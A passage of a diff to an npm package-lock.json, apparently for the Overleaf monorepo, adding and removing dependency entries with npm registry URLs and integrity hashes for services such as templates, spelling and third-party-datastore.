"https://registry.npmjs.org/ws/-/ws-0.4.32.tgz", +- "integrity": "sha512-htqsS0U9Z9lb3ITjidQkRvkLdVhQePrMeu475yEfOWkAYvJ6dSjQp1tOH6ugaddzX5b7sQjMPNtY71eTzrV/kA==", +- "requires": { +- "commander": "~2.1.0", +- "nan": "~1.0.0", +- "options": ">=0.0.5", +- "tinycolor": "0.x" +- } +- } +- } +- }, +- "@overleaf/redis-wrapper": { +- "version": "file:libraries/redis-wrapper", +- "requires": { +- "@overleaf/logger": "*", +- "@overleaf/o-error": "^3.4.0", +- "async": "^3.2.2", +- "chai": "^4.3.6", +- "ioredis": "~4.27.1", +- "mocha": "^8.4.0", +- "sandboxed-module": "^2.0.4", +- "sinon": "^9.2.4" +- } +- }, +- "@overleaf/references": { +- "version": "file:services/references", +- "requires": { +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/redis-wrapper": "^2.0.0", +- "@overleaf/settings": "^3.0.0", +- "async": "^3.2.2", +- "body-parser": "^1.19.0", +- "bson": "^1.1.5", +- "bunyan": "^1.8.15", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "express": "^4.17.1", +- "ioredis": "^4.16.1", +- "lodash": "^4.17.19", +- "mocha": "^8.4.0", +- "request": "^2.88.2", +- "sandboxed-module": "^2.0.4", +- "sinon": "^9.2.4", +- "underscore": "^1.10.2", +- "uuid": "^7.0.3" +- }, +- "dependencies": { +- "uuid": { +- "version": "7.0.3", +- "resolved": "https://registry.npmjs.org/uuid/-/uuid-7.0.3.tgz", +- "integrity": "sha512-DPSke0pXhTZgoF/d+WSt2QaKMCFSfx7QegxEWT+JOuHF5aWrKEn0G+ztjuJg/gG8/ItK+rbPCD/yNv8yyih6Cg==" +- } +- } +- }, +- "@overleaf/settings": { +- "version": "file:libraries/settings" +- }, +- "@overleaf/spelling": { +- "version": "file:services/spelling", +- "requires": { +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/settings": "^3.0.0", +- "async": "^3.2.2", +- "body-parser": "^1.19.0", +- "bunyan": "^1.8.15", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "express": "^4.17.1", +- "lru-cache": "^5.1.1", +- "mocha": "^8.4.0", +- "mongodb": "^3.6.0", +- "request": "^2.88.2", +- "sandboxed-module": "2.0.4", +- "sinon": "^9.2.4", +- "underscore": "1.13.1" +- }, +- "dependencies": { +- "underscore": { +- "version": "1.13.1", +- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.1.tgz", +- "integrity": "sha512-hzSoAVtJF+3ZtiFX0VgfFPHEDRm7Y/QPjGyNo4TVdnDTdft3tr8hEkD25a1jC+TjTuE7tkHGKkhwCgs9dgBB2g==" +- } +- } +- }, +- "@overleaf/templates": { +- "version": "file:services/templates", +- "requires": { +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/settings": "^3.0.0", +- "algolia-search": "~1.5.5", +- "args-js": "0.10.12", +- "async": "3.2.2", +- "body-parser": "^1.19.0", +- "bunyan": "^1.8.15", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "express": "4.17.1", +- "install": "^0.13.0", +- "marked": "^4.1.0", +- "method-override": "^3.0.0", +- "mocha": "^8.4.0", +- "mongoose": "^5.13.11", +- "request": "^2.88.2", +- "sandboxed-module": "^2.0.4", +- "sinon": "^9.2.4", +- "underscore": "1.9.2" +- }, +- "dependencies": { +- "body-parser": { +- "version": "1.19.0", +- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", +- "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", ++ "body-parser": { ++ "version": "1.19.0", ++ "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", ++ "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", + "requires": { + "bytes": "3.1.0", + "content-type": "~1.0.4", +@@ -42045,6 +34424,21 @@ + "qs": "6.7.0", + "raw-body": "2.4.0", + "type-is": "~1.6.17" ++ }, ++ "dependencies": { ++ "debug": { ++ "version": "2.6.9", ++ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", ++ "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", ++ "requires": { ++ "ms": "2.0.0" ++ } ++ }, ++ "ms": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", ++ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" ++ } + } + }, + "bytes": { +@@ -42052,435 +34446,407 @@ + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", + "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==" + }, +- "content-disposition": { +- "version": "0.5.3", +- "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", +- "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", ++ "celebrate": { ++ "version": "10.1.0", ++ "resolved": "https://registry.npmjs.org/celebrate/-/celebrate-10.1.0.tgz", ++ "integrity": "sha512-Ybkb+/mek6nl4HZljFGUtma8r1Dq0ClYiHf5RVV3msoDFRsJlAFIR8J6+dKwL4EhgihIPFdBOMc6KFO9izMA9g==", + "requires": { +- "safe-buffer": "5.1.2" ++ "@hapi/joi": "15.x.x", ++ "escape-html": "1.0.3", ++ "lodash.get": "4.4.x" + } + }, +- "cookie": { +- "version": "0.4.0", +- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", +- "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==" +- }, +- "cookie-signature": { +- "version": "1.0.6", +- "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", +- "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" +- }, +- "debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", ++ "chalk": { ++ "version": "4.1.2", ++ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", ++ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", ++ "dev": true, + "requires": { +- "ms": "2.0.0" ++ "ansi-styles": "^4.1.0", ++ "supports-color": "^7.1.0" + } + }, +- "express": { +- "version": "4.17.1", +- "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", +- "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", ++ "commander": { ++ "version": "7.2.0", ++ "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", ++ "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", ++ "dev": true ++ }, ++ "concat-stream": { ++ "version": "1.6.2", ++ "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", ++ "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "requires": { +- "accepts": "~1.3.7", +- "array-flatten": "1.1.1", +- "body-parser": "1.19.0", +- "content-disposition": "0.5.3", +- "content-type": "~1.0.4", +- "cookie": "0.4.0", +- "cookie-signature": "1.0.6", +- "debug": "2.6.9", +- "depd": "~1.1.2", +- "encodeurl": "~1.0.2", +- "escape-html": "~1.0.3", +- "etag": "~1.8.1", +- "finalhandler": "~1.1.2", +- "fresh": "0.5.2", +- "merge-descriptors": "1.0.1", +- "methods": "~1.1.2", +- "on-finished": "~2.3.0", +- "parseurl": "~1.3.3", +- "path-to-regexp": "0.1.7", +- "proxy-addr": "~2.0.5", +- "qs": "6.7.0", +- "range-parser": "~1.2.1", +- "safe-buffer": "5.1.2", +- "send": "0.17.1", +- "serve-static": "1.14.1", +- "setprototypeof": "1.1.1", +- "statuses": "~1.5.0", +- "type-is": "~1.6.18", +- "utils-merge": "1.0.1", +- "vary": "~1.1.2" ++ "buffer-from": "^1.0.0", ++ "inherits": "^2.0.3", ++ "readable-stream": "^2.2.2", ++ "typedarray": "^0.0.6" ++ }, ++ "dependencies": { ++ "readable-stream": { ++ "version": "2.3.7", ++ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", ++ "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", ++ "requires": { ++ "core-util-is": "~1.0.0", ++ "inherits": "~2.0.3", ++ "isarray": "~1.0.0", ++ "process-nextick-args": "~2.0.0", ++ "safe-buffer": "~5.1.1", ++ "string_decoder": "~1.1.1", ++ "util-deprecate": "~1.0.1" ++ } ++ } + } + }, +- "http-errors": { +- "version": "1.7.2", +- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", +- "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", ++ "connect-redis": { ++ "version": "3.4.2", ++ "resolved": "https://registry.npmjs.org/connect-redis/-/connect-redis-3.4.2.tgz", ++ "integrity": "sha512-ozA1Z0GDnsCJECfNyNJOqPuW3Fk43fUbKC65Sa/V9hkCBNtXsFU2xtTOVsQGUsflpywuJMgGOV4xrnKzIPFqvA==", + "requires": { +- "depd": "~1.1.2", +- "inherits": "2.0.3", +- "setprototypeof": "1.1.1", +- "statuses": ">= 1.5.0 < 2", +- "toidentifier": "1.0.0" ++ "debug": "^4.1.1", ++ "redis": "^2.8.0" + } + }, +- "inherits": { +- "version": "2.0.3", +- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", +- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" +- }, +- "mime": { +- "version": "1.6.0", +- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", +- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" +- }, +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- }, +- "qs": { +- "version": "6.7.0", +- "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", +- "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==" +- }, +- "raw-body": { +- "version": "2.4.0", +- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", +- "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", ++ "content-disposition": { ++ "version": "0.5.3", ++ "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", ++ "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "requires": { +- "bytes": "3.1.0", +- "http-errors": "1.7.2", +- "iconv-lite": "0.4.24", +- "unpipe": "1.0.0" ++ "safe-buffer": "5.1.2" + } + }, +- "send": { +- "version": "0.17.1", +- "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", +- "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", ++ "cookie-parser": { ++ "version": "1.3.5", ++ "resolved": "https://registry.npmjs.org/cookie-parser/-/cookie-parser-1.3.5.tgz", ++ "integrity": "sha1-nXVVcPtdF4kHcSJ6AjFNm+fPg1Y=", + "requires": { +- "debug": "2.6.9", +- "depd": "~1.1.2", +- "destroy": "~1.0.4", +- "encodeurl": "~1.0.2", +- "escape-html": "~1.0.3", +- "etag": "~1.8.1", +- "fresh": "0.5.2", +- "http-errors": "~1.7.2", +- "mime": "1.6.0", +- "ms": "2.1.1", +- "on-finished": "~2.3.0", +- "range-parser": "~1.2.1", +- "statuses": "~1.5.0" ++ "cookie": "0.1.3", ++ "cookie-signature": "1.0.6" + }, + "dependencies": { +- "ms": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", +- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" ++ "cookie": { ++ "version": "0.1.3", ++ "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.1.3.tgz", ++ "integrity": "sha1-5zSlwUF/zkctWu+Cw4HKu2TRpDU=" + } + } + }, +- "serve-static": { +- "version": "1.14.1", +- "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", +- "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", +- "requires": { +- "encodeurl": "~1.0.2", +- "escape-html": "~1.0.3", +- "parseurl": "~1.3.3", +- "send": "0.17.1" +- } +- }, +- "setprototypeof": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", +- "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" +- }, +- "toidentifier": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", +- "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==" +- }, +- "underscore": { +- "version": "1.9.2", +- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.9.2.tgz", +- "integrity": "sha512-D39qtimx0c1fI3ya1Lnhk3E9nONswSKhnffBI0gME9C99fYOkNi04xs8K6pePLhvl1frbDemkaBQ5ikWllR2HQ==" +- } +- } +- }, +- "@overleaf/third-party-datastore": { +- "version": "file:services/third-party-datastore", +- "requires": { +- "@overleaf/access-token-encryptor": "^2.2.0", +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/redis-wrapper": "^2.0.1", +- "@overleaf/settings": "^3.0.0", +- "async": "^3.2.2", +- "body-parser": "^1.19.0", +- "bunyan": "^1.8.15", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "dropbox": "^10.24.0", +- "express": "^4.17.1", +- "lru-cache": "^4.1.5", +- "mocha": "^8.4.0", +- "mongodb": "^3.6.0", +- "nock": "0.15.2", +- "node-fetch": "^2.6.7", +- "p-limit": "^2.3.0", +- "request": "^2.88.2", +- "sandboxed-module": "^2.0.4", +- "sinon": "9.0.1", +- "sinon-chai": "^3.7.0", +- "sinon-stub-promise": "^4.0.0", +- "underscore": "^1.13.1", +- "uuid": "^8.3.2" +- }, +- "dependencies": { +- "diff": { +- "version": "4.0.2", +- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", +- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", +- "dev": true ++ "cookie-signature": { ++ "version": "1.0.6", ++ "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", ++ "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" + }, +- "lru-cache": { +- "version": "4.1.5", +- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", +- "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", ++ "copy-webpack-plugin": { ++ "version": "10.2.4", ++ "resolved": "https://registry.npmjs.org/copy-webpack-plugin/-/copy-webpack-plugin-10.2.4.tgz", ++ "integrity": "sha512-xFVltahqlsRcyyJqQbDY6EYTtyQZF9rf+JPjwHObLdPFMEISqkFkr7mFoVOC6BfYS/dNThyoQKvziugm+OnwBg==", ++ "dev": true, + "requires": { +- "pseudomap": "^1.0.2", +- "yallist": "^2.1.2" ++ "fast-glob": "^3.2.7", ++ "glob-parent": "^6.0.1", ++ "globby": "^12.0.2", ++ "normalize-path": "^3.0.0", ++ "schema-utils": "^4.0.0", ++ "serialize-javascript": "^6.0.0" ++ }, ++ "dependencies": { ++ "ajv": { ++ "version": "8.11.0", ++ "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", ++ "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", ++ "dev": true, ++ "requires": { ++ "fast-deep-equal": "^3.1.1", ++ "json-schema-traverse": "^1.0.0", ++ "require-from-string": "^2.0.2", ++ "uri-js": "^4.2.2" ++ } ++ }, ++ "ajv-keywords": { ++ "version": "5.1.0", ++ "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", ++ "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", ++ "dev": true, ++ "requires": { ++ "fast-deep-equal": "^3.1.3" ++ } ++ }, ++ "globby": { ++ "version": "12.2.0", ++ "resolved": "https://registry.npmjs.org/globby/-/globby-12.2.0.tgz", ++ "integrity": "sha512-wiSuFQLZ+urS9x2gGPl1H5drc5twabmm4m2gTR27XDFyjUHJUNsS8o/2aKyIF6IoBaR630atdher0XJ5g6OMmA==", ++ "dev": true, ++ "requires": { ++ "array-union": "^3.0.1", ++ "dir-glob": "^3.0.1", ++ "fast-glob": "^3.2.7", ++ "ignore": "^5.1.9", ++ "merge2": "^1.4.1", ++ "slash": "^4.0.0" ++ } ++ }, ++ "schema-utils": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", ++ "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", ++ "dev": true, ++ "requires": { ++ "@types/json-schema": "^7.0.9", ++ "ajv": "^8.8.0", ++ "ajv-formats": "^2.1.1", ++ "ajv-keywords": "^5.0.0" ++ } ++ } + } + }, +- "p-limit": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", +- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", +- "requires": { +- "p-try": "^2.0.0" +- } ++ "css-declaration-sorter": { ++ "version": "6.2.2", ++ "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.2.2.tgz", ++ "integrity": "sha512-Ufadglr88ZLsrvS11gjeu/40Lw74D9Am/Jpr3LlYm5Q4ZP5KdlUhG+6u2EjyXeZcxmZ2h1ebCKngDjolpeLHpg==", ++ "dev": true, ++ "requires": {} + }, +- "sinon": { +- "version": "9.0.1", +- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.1.tgz", +- "integrity": "sha512-iTTyiQo5T94jrOx7X7QLBZyucUJ2WvL9J13+96HMfm2CGoJYbIPqRfl6wgNcqmzk0DI28jeGx5bUTXizkrqBmg==", ++ "css-loader": { ++ "version": "6.7.1", ++ "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.7.1.tgz", ++ "integrity": "sha512-yB5CNFa14MbPJcomwNh3wLThtkZgcNyI2bNMRt8iE5Z8Vwl7f8vQXFAzn2HDOJvtDq2NTZBUGMSUNNyrv3/+cw==", + "dev": true, + "requires": { +- "@sinonjs/commons": "^1.7.0", +- "@sinonjs/fake-timers": "^6.0.0", +- "@sinonjs/formatio": "^5.0.1", +- "@sinonjs/samsam": "^5.0.3", +- "diff": "^4.0.2", +- "nise": "^4.0.1", +- "supports-color": "^7.1.0" ++ "icss-utils": "^5.1.0", ++ "postcss": "^8.4.7", ++ "postcss-modules-extract-imports": "^3.0.0", ++ "postcss-modules-local-by-default": "^4.0.0", ++ "postcss-modules-scope": "^3.0.0", ++ "postcss-modules-values": "^4.0.0", ++ "postcss-value-parser": "^4.2.0", ++ "semver": "^7.3.5" ++ }, ++ "dependencies": { ++ "lru-cache": { ++ "version": "6.0.0", ++ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", ++ "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", ++ "dev": true, ++ "requires": { ++ "yallist": "^4.0.0" ++ } ++ }, ++ "semver": { ++ "version": "7.3.5", ++ "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", ++ "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", ++ "dev": true, ++ "requires": { ++ "lru-cache": "^6.0.0" ++ } ++ } + } + }, +- "supports-color": { +- "version": "7.2.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", +- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", ++ "css-minimizer-webpack-plugin": { ++ "version": "3.4.1", ++ "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz", ++ "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==", + "dev": true, + "requires": { +- "has-flag": "^4.0.0" +- } +- }, +- "uuid": { +- "version": "8.3.2", +- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", +- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==" +- }, +- "yallist": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", +- "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=" +- } +- } +- }, +- "@overleaf/thirdparty-references": { +- "version": "file:services/third-party-references", +- "requires": { +- "@overleaf/access-token-encryptor": "^2.2.0", +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/settings": "^3.0.0", +- "async": "^3.2.2", +- "body-parser": "^1.19.0", +- "bunyan": "^1.8.15", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "express": "^4.17.1", +- "lodash": "^4.17.21", +- "lru-cache": "^5.1.1", +- "mocha": "^8.4.0", +- "mongodb": "^3.6.0", +- "oauth": "0.9.15", +- "request": "^2.88.2", +- "sandboxed-module": "2.0.4", +- "simple-oauth2": "^0.6.0", +- "sinon": "9.0.2", +- "sinon-chai": "^3.7.0" +- }, +- "dependencies": { +- "diff": { +- "version": "4.0.2", +- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", +- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", +- "dev": true ++ "cssnano": "^5.0.6", ++ "jest-worker": "^27.0.2", ++ "postcss": "^8.3.5", ++ "schema-utils": "^4.0.0", ++ "serialize-javascript": "^6.0.0", ++ "source-map": "^0.6.1" ++ }, ++ "dependencies": { ++ "ajv": { ++ "version": "8.11.0", ++ "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", ++ "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", ++ "dev": true, ++ "requires": { ++ "fast-deep-equal": "^3.1.1", ++ "json-schema-traverse": "^1.0.0", ++ "require-from-string": "^2.0.2", ++ "uri-js": "^4.2.2" ++ } ++ }, ++ "ajv-keywords": { ++ "version": "5.1.0", ++ "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", ++ "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", ++ "dev": true, ++ "requires": { ++ "fast-deep-equal": "^3.1.3" ++ } ++ }, ++ "schema-utils": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", ++ "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", ++ "dev": true, ++ "requires": { ++ "@types/json-schema": "^7.0.9", ++ "ajv": "^8.8.0", ++ "ajv-formats": "^2.1.1", ++ "ajv-keywords": "^5.0.0" ++ } ++ } ++ } + }, +- "sinon": { +- "version": "9.0.2", +- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.2.tgz", +- "integrity": "sha512-0uF8Q/QHkizNUmbK3LRFqx5cpTttEVXudywY9Uwzy8bTfZUhljZ7ARzSxnRHWYWtVTeh4Cw+tTb3iU21FQVO9A==", ++ "css-tree": { ++ "version": "1.1.3", ++ "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", ++ "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "dev": true, + "requires": { +- "@sinonjs/commons": "^1.7.2", +- "@sinonjs/fake-timers": "^6.0.1", +- "@sinonjs/formatio": "^5.0.1", +- "@sinonjs/samsam": "^5.0.3", +- "diff": "^4.0.2", +- "nise": "^4.0.1", +- "supports-color": "^7.1.0" ++ "mdn-data": "2.0.14", ++ "source-map": "^0.6.1" + } + }, +- "supports-color": { +- "version": "7.2.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", +- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", ++ "cssnano": { ++ "version": "5.1.7", ++ "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.7.tgz", ++ "integrity": "sha512-pVsUV6LcTXif7lvKKW9ZrmX+rGRzxkEdJuVJcp5ftUjWITgwam5LMZOgaTvUrWPkcORBey6he7JKb4XAJvrpKg==", + "dev": true, + "requires": { +- "has-flag": "^4.0.0" ++ "cssnano-preset-default": "^5.2.7", ++ "lilconfig": "^2.0.3", ++ "yaml": "^1.10.2" + } +- } +- } +- }, +- "@overleaf/tpdsworker": { +- "version": "file:services/tpdsworker", +- "requires": { +- "@overleaf/logger": "^3.0.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/redis-wrapper": "^2.0.0", +- "@overleaf/settings": "^3.0.0", +- "bluebird": "^3.7.2", +- "body-parser": "^1.19.0", +- "bunyan": 